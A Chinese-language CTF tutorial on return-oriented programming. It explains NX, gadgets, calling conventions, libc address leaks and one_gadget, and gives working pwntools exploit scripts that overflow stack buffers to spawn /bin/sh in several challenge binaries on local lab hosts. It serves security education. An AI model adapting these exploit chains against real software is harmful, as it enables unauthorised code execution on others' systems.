ROP技术

内存页的RWX三种属性。显然，如果某一页内存没有可写(W)属性，我们就无法向里面写入代码，如果没有可执行(X)属性，写入到内存页中的ShellCode就无法执行。

查看某个ELF文件中是否有RWX内存页：

• 在静态分析和调试中使用IDA的快捷键Ctrl + S或者Shift + F7

• 使用Pwntools自带的checksec命令检查程序是否带有RWX段。

当然，由于程序可能在运行中调用mprotect( ), mmap( )等函数动态修改或分配具有RWX属性的内存页，以上方法均可能存在误差。

既然攻击者们能想到在RWX段内存页中写入ShellCode并执行，防御者们也能想到，因此，一种名为NX位（No eXecute bit）的技术出现了。这是一种在CPU上实现的安全技术，这个位将内存页以数据和指令两种方式进行了分类。被标记为数据页的内存页（如栈和堆）上的数据无法被当成指令执行，即没有X属性。由于该保护方式的使用，之前直接向内存中写入ShellCode执行的方式显然失去了作用。因此，我们就需要学习一种著名的绕过技术——ROP（Return-Oriented Programming, 返回导向编程）

顾名思义，ROP就是使用返回指令ret连接代码的一种技术（同理还可以使用jmp系列指令和call指令，有时候也会对应地成为JOP/COP）。一个程序中必然会存在函数，而有函数就会有ret指令。我们知道，ret指令的本质是pop eip，即把当前栈顶的内容作为内存地址进行跳转。

而ROP就是利用栈溢出在栈上布置一系列内存地址，每个内存地址对应一个gadget，即以ret/jmp/call等指令结尾的一小段汇编指令，通过一个接一个的跳转执行某个功能。由于这些汇编指令本来就存在于指令区，肯定可以执行，而我们在栈上写入的只是内存地址，属于数据，所以这种方式可以有效绕过NX保护。

使用ROP调用got表中的函数

x86的情况

首先看x86下的程序，将~/RedHat 2017-pwn1/pwn1部署到32位环境中。
在IDA中查看函数，发现逻辑并不复杂，存在输入溢出(变量v1的首地址在bp-28h处，即变量在栈上，而输入使用的__isoc99_scanf不限制长度，因此我们的过长输入将会造成栈溢出。)：

checkse查看发现开启了NX保护：

程序开启了NX保护，所以显然我们不可能用shellcode打开一个shell。根据之前文章的思路，我们很容易想到要调用system函数执行system(“/bin/sh”)。那么我们从哪里可以找到system和“/bin/sh”呢？
第一个问题，搜索字符串，发现了system：

我们知道使用动态链接的程序导入库函数的话，所以我们可以在GOT表和PLT表中找到函数对应的项（地址）。

第二个问题，通过对程序的搜索并没有发现字符串“/bin/sh”，但是程序里有__isoc99_scanf，我们可以调用这个函数来读取“/bin/sh”字符串到进程内存中。

首先，我们需要知道将“/bin/sh”放到什么位置，因为将字符串作为参数传递给system时需要参数的地址，所以不能直接使用程序原本的变量。再者说程序原本定义的变量需要用来使程序发生两次溢出。

F9运行程序，然后通过快捷键Ctrl + S找到一段可以使用的位置：

我们看到0x0804A064开始有个可读可写的大于8字节的地址，且该地址不受ASLR影响，所以我们可以考虑把字符串读到这里。
或者不运行程序时通过快捷键Ctrl + S可以看到0x0804A030开始也有个可读可写的大于8字节的地址，且该地址不受ASLR影响。

接下来我们找到__isoc99_scanf的另一个参数“%s”，位于0x08048629

接着我们使用pwntools的功能获取到__isoc99_scanf在PLT表中的地址(获取system的地址也通过此方式），PLT表中有一段stub代码，将EIP劫持到某个函数的PLT表项中我们可以直接调用该函数。我们知道，对于x86的应用程序来说，其参数从右往左入栈。因此，现在我们就可以构建出一个ROP链。

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#!usr/bin/python
#coding=utf-8
#

from pwn import *

context.update(arch = 'i386', os='Linux', timeout = 1)
io = remote('172.17.0.2',10001)

elf = ELF('./pwn1')

input_addr = p32(elf.symbols['__isoc99_scanf'])
sys_addr = p32(elf.symbols['system'])
format_addr = p32(0x08048629)
bin_addr = p32(0x0804A064)

shellcode1 = 'A'*0x34
shellcode1 += input_addr
shellcode1 += format_addr
shellcode1 += bin_addr

print io.read()
io.sendline(shellcode1)
io.sendline("/bin/bash")

通过调试我们可以看到，当EIP指向retn时，栈上的数据和我们的预想一样，栈顶是plt表中__isoc99_scanf的首地址，紧接着是两个参数。

我们继续跟进执行，在libc中执行一会儿之后，我们收到了一个错误，0x0804A064处也没有成功写入字符串"/bin/bash"

我们知道call指令会将call指令的下一条指令地址压入栈中，当被call调用的函数运行结束后，ret指令就会取出被call指令压入栈中的地址传输给EIP。

但是在这里我们绕过call直接调用了__isoc99_scanf，没有像call指令一样向栈压入一个地址。此时函数认为返回地址是紧接着input_addr的format_addr，从而第一个参数就变成了binsh_addr。
调用__isoc99_scanf的情况：

构造ROP调用__isoc99_scanf的情况：

从两种调用方式的比较上我们可以看到，由于少了call指令的压栈操作，如果我们在布置栈的时候不模拟出一个压入栈中的地址，被调用函数的取到的参数就是错位的。所以我们需要改良一下ROP链。根据上面的描述，我们应该在参数和保存的EIP中间放置一个执行完的返回地址。鉴于我们调用scanf读取字符串后还要调用system函数，我们让__isoc99_scanf执行完后再次返回到main函数开头，以便于再执行一次栈溢出。改良后的ROP链如下：

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#!usr/bin/python
#coding=utf-8
#

from pwn import *

context.update(arch = 'i386', os='Linux', timeout = 1)
io = remote('172.17.0.2',10001)

elf = ELF('./pwn1')

input_addr = p32(elf.symbols['__isoc99_scanf'])
sys_addr = p32(elf.symbols['system'])
format_addr = p32(0x08048629)
bin_addr = p32(0x0804A064)
main_addr = p32(0x08048531)

shellcode1 = 'A'*0x34
shellcode1 += input_addr
shellcode1 += main_addr
shellcode1 += format_addr
shellcode1 += bin_addr

print io.read()
io.sendline(shellcode1)
io.sendline("/bin/bash")

调试发现"/bin/bash/"成功写入：

此时程序再次从main函数开始执行。由于栈的状态发生了改变，我们需要重新计算溢出的字节数(0x2c)。

然后再次利用ROP链调用system执行system(“/bin/sh”)。

完整的ROP链如下：

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#!usr/bin/python
  #coding=utf-8
  #

  from pwn import *

  context.update(arch = 'i386', os='Linux', timeout = 1)
  io = remote('172.17.0.2',10001)

  elf = ELF('./pwn1')

  input_addr = p32(elf.symbols['__isoc99_scanf']) # plt表中scanf函数所在内存地址
  sys_addr = p32(elf.symbols['system'])  # plt表中的system函数所在的内存地址
  format_addr = p32(0x08048629) # 字符串%s的地址
  bin_addr = p32(0x0804A064)  # 写入字符串"/bin/bash"的地址
  main_addr = p32(0x08048531) # 主函数地址，用于第二次溢出调用system函数

  shellcode1 = 'A'*0x34
  shellcode1 += input_addr  # 调用scanf以从STDIN读取"/bin/sh"字符串
  shellcode1 += main_addr # scanf返回后到main函数
  shellcode1 += format_addr # scanf参数
  shellcode1 += bin_addr  # "/bin/sh"字符串所在地址


  shellcode2 = 'B'*0x2c
  sys_addr = p32(0x0804A018)  # 调用system函数
  shellcode2 += main_addr # 填补EIP的位置即system的返回地址，防止参数错位，地址可以任意
  shellcode2 += bin_addr  # 传入system的参数


  print io.read()
  io.sendline(shellcode1)
  sleep(0.1)
  # 等待程序执行，防止出错
  print io.read()
  io.sendline('/bin/sh')
  sleep(0.1)
  # 等待程序执行，防止出错
  print io.read()
  io.sendline(shellcode2)
  sleep(0.1)
  # 等待程序执行，防止出错
  io.interactive()

运行即可拿到shell：

x64的情况

接着来看看x64下如何使用ROP调用got表中的函数，将~/bugs bunny ctf 2017-pwn150/pwn150部署到64位的环境中。
在IDA中可以发现溢出点在函数Hello()中

和x86的例子一样，开启了NX保护，需要找到system和/bin/bash才能拿到shell。程序在main函数中调用了自己定义的一个叫today的函数，执行了system(“/bin/date”)，那么system函数就有了。

至于”/bin/sh”字符串，虽然程序中没有，但是我们找到了”sh”字符串，利用这个字符串其实也可以开shell。不过这里需要注意的是”sh”的地址为0x4003ef而不是0x4003eb

现在有了栈溢出点，有了system函数，有了字符串”sh”，可以尝试开shell了。但首先我们要解决传参数的问题。和x86不同，在x64下通常前六个参数参数从左到右依次放在rdi, rsi, rdx, rcx, r8, r9，多出来的参数才会入栈（根据调用约定的方式可能有不同，通常是这样），因此，我们就需要一个给RDI赋值的办法。由于我们可以控制栈，根据ROP的思想，我们需要找到的就是pop rdi; ret，前半段用于赋值rdi，后半段用于跳到其他代码片段。
有很多工具可以帮我们找到ROP gadget，例如pwntools自带的ROP类，ROPgadget、rp++、ropeme等。
这里使用ROPgadget。通过ROPgadget --binary 指定二进制文件，使用grep在输出的所有gadgets中寻找需要的片段:ROPgadget --binary pwn150 | grep "pop rdi"

这里有一个小trick。首先，我们看一下IDA中这个地址的内容是什么。

我们可以发现并没有0x400883这个地址，0x400882是pop r15, 接下来就是0x400884的retn。
我们选择0x400882，按快捷键D转换成数据：

然后选择0x400883按C转换成代码:

我们可以看出来pop rdi实际上是pop r15的“一部分”。这也再次验证了汇编指令不过是一串可被解析为合法opcode的数据的别名。只要对应的数据所在内存可执行，能被转成合法的opcode，跳转过去都是不会有问题的。
现在我们已经准备好了所有东西，可以开始构建ROP链了。这回我们直接调用call system指令，省去了手动往栈上补返回地址的环节，脚本如下：

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#!/usr/bin/python
#coding:utf-8

from pwn import *

context.update(arch = 'amd64', os = 'linux', timeout = 1)
io = remote('172.17.0.3', 10001)

call_system = 0x40075f
binsh = 0x4003ef
pop_rdi = 0x400883

payload = ""
payload += "A"*88
payload += p64(pop_rdi)
payload += p64(binsh)
# payload内容是在栈上的，“A”溢出到retn时，执行pop rdi，即将栈顶的数据放到rdi中，因为此时执行的时pop rdi，所以栈顶的内容为binsh，即“sh”，这样，就把“sh”写入到rdi作为system函数的参数了
payload += p64(call_system)

io.sendline(payload)
io.interactive()

使用ROP调用int 80h/syscall

很多情况下目标程序并不会导入system函数。在这种情况下我们就需要通过其他方法达到目标。需要通过其他方式来获取shell，本部分是通过ROP调用int 80h/syscall来拿到shell。将~/Tamu CTF 2018-pwn5/pwn5部署到32位的环境中。
这个程序主要功能在print_beginning()实现。

这个函数有大量的puts()和printf()输出提示，要求我们输入first_name, last_name和major三个字符串到三个全局变量里，然后选择是否加入Corps of Cadets。不管选是还是否都会进入一个差不多的函数,但这个程序选择加入Corps of Cadets才能选择进入函数 change_major()

我们可以看到只有选择选项2才会调用函数change_major()，其他选项都只是打印出一些内容。进入change_major()后，我们发现了一个栈溢出：

发现了溢出点后，我们就可以开始构思怎么getshell了。这个程序里找不到system函数。但是我们用ROPGadget –binary pwn5 | grep “int 0x80”找到了一个可用的gadget

我们知道在http://syscalls.kernelgrok.com/ 上可以找到sys_execve调用，同样可以用来开shell，这个系统调用需要设置5个寄存器，其中eax = 11 = 0xb, ebx = &(“/bin/sh”), ecx = edx = edi = 0. “/bin/sh”我们可以在前面输入到地址固定的全局变量中(first_name,last_name)。接下来我们就要通过ROPgadget搜索pop eax/ebx/ecx/edx/esi; ret了。

ROPgadget --binary pwn5 | grep "pop eax"

通过这条命令我们可以找到两个gadget，但是第二个并不适用，因为地址中包含两个0x0a即换行，我们找到的溢出点是通过gets()获取输入的，这个函数默认以换行符作为结束，所以如果我们采用第二个gadget会造成payload被截断，从而不能获取shell，所以这里我们选择第一个gadget，但是我们还差ecx, edx,所以还需要再找一个gadget
ROPgadget --binary pwn5 |grep "pop edx"

好了，现在可以直接构造ROP链了：

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#!usr/bin/python
#coding=utf-8
#

from pwn import *

context.update(arch = 'i386', os='Linux', timeout = 1)
io = remote('172.17.0.2',10001)

last_name=0x080f1aa0
int80=0x08071005
pop1=0x08095ff4
pop2=0x080733b0

payload="A"*32
payload+=p32(pop1)
payload+=p32(0x0b)
payload+=p32(last_name)
payload+=p32(0)
payload+=p32(0)
payload+=p32(0)
payload+=p32(pop2)
payload+=p32(0)
payload+=p32(0)
payload+=p32(last_name)
payload+=p32(int80)

io.sendline("A")
io.sendline("/bin/sh")
io.sendline("A")

io.sendline("Y")

io.sendline("2")

io.sendline(payload)

io.interactive()

运行脚本，成功拿到shell：

从给定的libc中寻找gadget

pwn题目提供一个pwn环境里对应版本的libc的情况下，我们就可以通过泄露出某个在libc中的内容在内存中的实际地址，通过计算偏移来获取system和“/bin/sh”的地址并调用。将~/Security Fest CTF 2016-tvstation/tvstation部署到64位的环境中。
先运行程序：

题目中除了显示出来的三个选项之外还有一个隐藏的选项4，选项4会直接打印出system函数在内存中的首地址。

从IDA中我们可以看到打印完地址后执行了函数debug_func()，进入函数debug_func()之后我们发现了溢出点

由于这个题目给了libc，且我们已经泄露出了system的内存地址。使用命令readelf -a 查看程序

从这张图上我们可以看出来.text节（Section）属于第一个LOAD段（Segment），这个段的文件长度和内存长度是一样的，也就是说所有的代码都是原样映射到内存中，代码之间的相对偏移是不会改变的。由于前面的PHDR, INTERP两个段也是原样映射，所以在IDA里看到的system首地址距离文件头的地址偏移和运行时的偏移是一样的。比如如：在这个libc中system函数首地址是0x456a0，即从文件的开头数0x456a0个字节到达system函数

运行程序发现system函数在内存中的地址是：0x7f7244eecff0

计算0x7f7244eecff0 - 0x456a0 = 0x7F7244EA7950‬
IDA调试时也能看到libc的加载首地址(因为不是同一次运行程序，所以这里IDA中看到的地址和计算得到的并不一致）：

根据这个事实，我们就可以通过泄露出来的libc中的函数地址获取libc在内存中加载的首地址，从而以此跳转到其他函数的首地址并执行。
在libc中存在字符串”/bin/sh”，该字符串位于.data节，根据同样的原理我们也可以得知这个字符串距libc首地址的偏移

还有用来传参的gadget :pop rdi; ret

构建ROP链如下：

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#!/usr/bin/python
#coding:utf-8

from pwn import *

io = remote('172.17.0.2', 10001)

io.recvuntil(": ")
io.sendline('4')
io.recvuntil("@0x")
system_addr = int(io.recv(12), 16)
# system_addr = int(io.recv()[0:12], 16)
libc_start = system_addr - 0x456a0
pop_rdi_addr = libc_start + 0x400c13
binsh_addr = libc_start + 0x18ac40

payload = ""
payload += 'A'*40
payload += p64(pop_rdi_addr)
payload += p64(binsh_addr)
payload += p64(system_addr)

io.sendline(payload)

io.interactive()

运行脚本即可拿到shell

特殊的gadget

通用gadgets

通用gadgets，通常位于x64的ELF程序的__libc_csu_init中：

gadget1:mov rdx, r13; mov rsi, r14; mov edi, r15d; call qword ptr [r12+rbx*8];
gadget2:pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; retn;
gadget3:pop rdi;retn;

在x64的ELF程序中向函数传参，通常顺序是rdi, rsi, rdx, rcx, r8, r9, 栈，以上三段gadgets中，gadget2可以设置r12-r15，接上gadget3使用已经设置的寄存器设置rdi, 接上gadget1设置rsi, rdx, rbx，最后利用r12+rbx*8可以call任意一个地址(令rbx=0，r12为任意地址）。在找gadgets出现困难时，可以利用这个gadgets快速构造ROP链。需要注意的是，用万能gadgets的时候需要设置rbp=1，因为call qword ptr [r12+rbx*8]之后是add rbx, 1; cmp rbx, rbp; jnz xxxxxx。由于我们通常使rbx=0，从而使r12+rbx*8 = r12，所以call指令结束后rbx必然会变成1。若此时rbp != 1，jnz会再次进行call，从而可能引起段错误。
例子~/LCTF 2016-pwn100/pwn100中提供了linc，这个程序无论我们怎么输入都会产生溢出：

我们需要做的就是泄露一个got表中函数的地址，然后计算偏移得到system的地址:

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#coding:utf-8

from pwn import *

io = remote("172.17.0.3", 10001)
elf = ELF("./pwn100")

puts_addr = elf.plt['puts']
read_got = elf.got['read']

start_addr = 0x400550
pop_rdi = 0x400763
universal_gadget1 = 0x400740
# mov rdx, r13
# mov rsi, r14
# mov edi, r15d
# call qword ptr [r12+rbx*8]

universal_gadget2 = 0x40075a
# pop rbx
# pop rbp
# pop r12
# pop r13
# pop r14
# pop r15
# retn

binsh_addr = 0x601060
# binsh_addr = 0x601040
payload = "A"*72
payload += p64(pop_rdi)
payload += p64(read_got)
payload += p64(puts_addr)
payload += p64(start_addr)
payload = payload.ljust(200, "B")

io.send(payload)
io.recvuntil('bye~\n')
read_addr = u64(io.recv()[:-1].ljust(8, '\x00'))
# read_addr = u64(io.recv().ljust(8,'\x00'))
log.info("read_addr = %#x", read_addr)
system_addr = read_addr - 0xb31e0
log.info("system_addr = %#x", system_addr)

从libc的system和read的地址可以计算得到两者之间的偏移量：0xF8880-0x456A0=0xB31E0,所以system在内存中的地址为：system_addr = read_addr - 0xb31e0

得到system的地址，为了使用万能的gadgets，我们再次调用read函数读取bin/sh\x00,而不是直接使用偏移读取libc中的bin/sh。
下面通过gadget1和gadget2布置好栈：

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payload = "A"*72
payload += p64(universal_gadget2)
# pop rbx
# pop rbp
# pop r12
# pop r13
# pop r14
# pop r15
# retn
payload += p64(0)               #rbx = 0
payload += p64(1)               #rbp = 1
payload += p64(read_got)        #r12 = got表中read函数项，里面是read函数的真正地址，直接通过call调用
payload += p64(8)               #r13 = 8，read函数读取的字节数
payload += p64(binsh_addr)      #r14 = read函数读取/bin/sh保存的地址
payload += p64(0)               #r15 = 0，read函数的参数fd
payload += p64(universal_gadget1)
# mov rdx, r13
# mov rsi, r14
# mov edi, r15d
# call qword ptr [r12+rbx*8]

让rbx=0是为了使call qword ptr [r12+rbx*8]变成call qword ptr [r12]从而达到调用后面将地址赋给r12的read函数。使rbp=1是为了过掉后面的jnz short loc_400740防止jnz再次进行call，从而可能引起段错误。剩下的就是布置read函数的参数即函数本身的地址。

回头看一下universal_gadget2的执行流程，可以发现由于我们的构造，sub_400740只会执行一次，然后流程就将跳转到下面的loc_400756，这一系列操作将会抬升8*7共56字节的栈空间，因此我们还需要提供56个字节的垃圾数据进行填充，然后才能拼接上retn要跳转的地址(即start_addr,我们需要再执行一次输入来读取’bin/sh\x00’)

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payload += '\x00'*56
payload += p64(start_addr)
payload = payload.ljust(200, "B")

io.send(payload)
io.recvuntil('bye~\n')
io.send("/bin/sh\x00")

payload = "A"*72
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)
payload = payload.ljust(200, "B")

io.send(payload)
io.interactive()

one gadget RCE

通过一个gadget远程执行代码, 例子：~/TJCTF 2016-oneshot/onesho
工具one_gadget,使用这个gadget还需要一个对应的libc。

示例中的程序并不复杂，第二个输入会将我们的输入当作地址执行：

因为输入为长整型，所以只能控制四个字节的地址，使用one_gadget找一个gadget：

程序中执行call rdx前会执行mov eax,0所以这里选择第一个gadget：0x45526 execve("/bin/sh",rsp+0x30,environ)
构建脚本如下：

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#!/usr/bin/python
#coding:utf-8

from pwn import *

one_gadget_rce = 0x45526
#one_gadget libc.so.6_x64
#0x45526        execve("/bin/sh", rsp+0x30, environ)
#constraints:
#  rax == NULL
setbuf_addr = 0x77f50
setbuf_got = 0x600ae0

io=process("./oneshot")
# io = remote("172.17.0.2", 10001)

io.sendline(str(setbuf_got))
io.recvuntil("Value: ")
setbuf_memory_addr = int(io.recv()[:18], 16)

io.sendline(str(setbuf_memory_addr - (setbuf_addr - one_gadget_rce)))

io.interactive()

因为程序第一个输入部分会将我们输入的地址的内存地址打印出来，所以我们可以通过setbuf的got表地址来泄露setbuf在内存中的地址，然后再计算偏移量得到我们找到的gadget在内存中的地址。

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